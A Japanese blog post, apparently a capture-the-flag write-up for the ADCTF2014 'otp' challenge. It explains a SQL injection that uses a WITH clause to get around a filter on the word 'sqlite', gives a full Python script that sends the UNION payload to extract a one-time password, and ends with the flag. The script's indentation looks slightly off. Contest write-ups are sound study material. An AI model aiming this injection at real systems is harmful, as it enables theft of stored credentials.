つれづれなる備忘録

CTF関連の事やその他諸々

ADCTF2014 [21] otp

これ、ずいぶん簡単だったと思うんだけど、なんでこんなに点数高いのか

Try your sqli skills. otp.adctf2014.katsudon.org source

 

まあこれもSQLinjectionですね

twitterを見てると、最初は問題に本気で脆弱性があったらしく、Sqliteとかにすれば行けたとかいう話が

でもまぁ、私が開いたときにはすでにサーバーが停止してて、修正された後だったので関係ないですw

 

今回の問題では、sqliteが禁句となっている。即ちsqlite_masterから読みださせることは考えていないってことですよね?

それならば方針はwith文かな

select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')

こんな感じでカラム名が分かっていなくても、カラム数さえ合っていれば適当に名づけてselectできます。

 

sqli_otp.py

import urllib,urllib2

URI = 'http://otp.adctf2014.katsudon.org/'

def communicate(values):
  if(values is not None):
    data = urllib.urlencode(values)
    req = urllib2.Request(URI,data)
  else:
    req = urllib2.Request(URI)
    res = urllib2.urlopen(req)
  return res.read().split('\n')

if __name__ == '__main__':
  token = communicate(None)[22].split('"')[5]
  print 'token : %s' % token

  query = "' union all select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')--" % token
  values = {'token' : query}
  passwd = communicate(values)[21].split(' ')[3][:-4]
  print 'pass : %s' % passwd

  values = {'token' : token, 'pass' : passwd}
  for s in communicate(values)[21][3:-4].split('<br />'):
    print s

  raw_input('Press any key to exit...')

トークンが分かっているのでそのパスワードを引き出し、最初から10秒以内にトークンとパスワードを投げればフラグがもらえます。 otp

FLAG: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5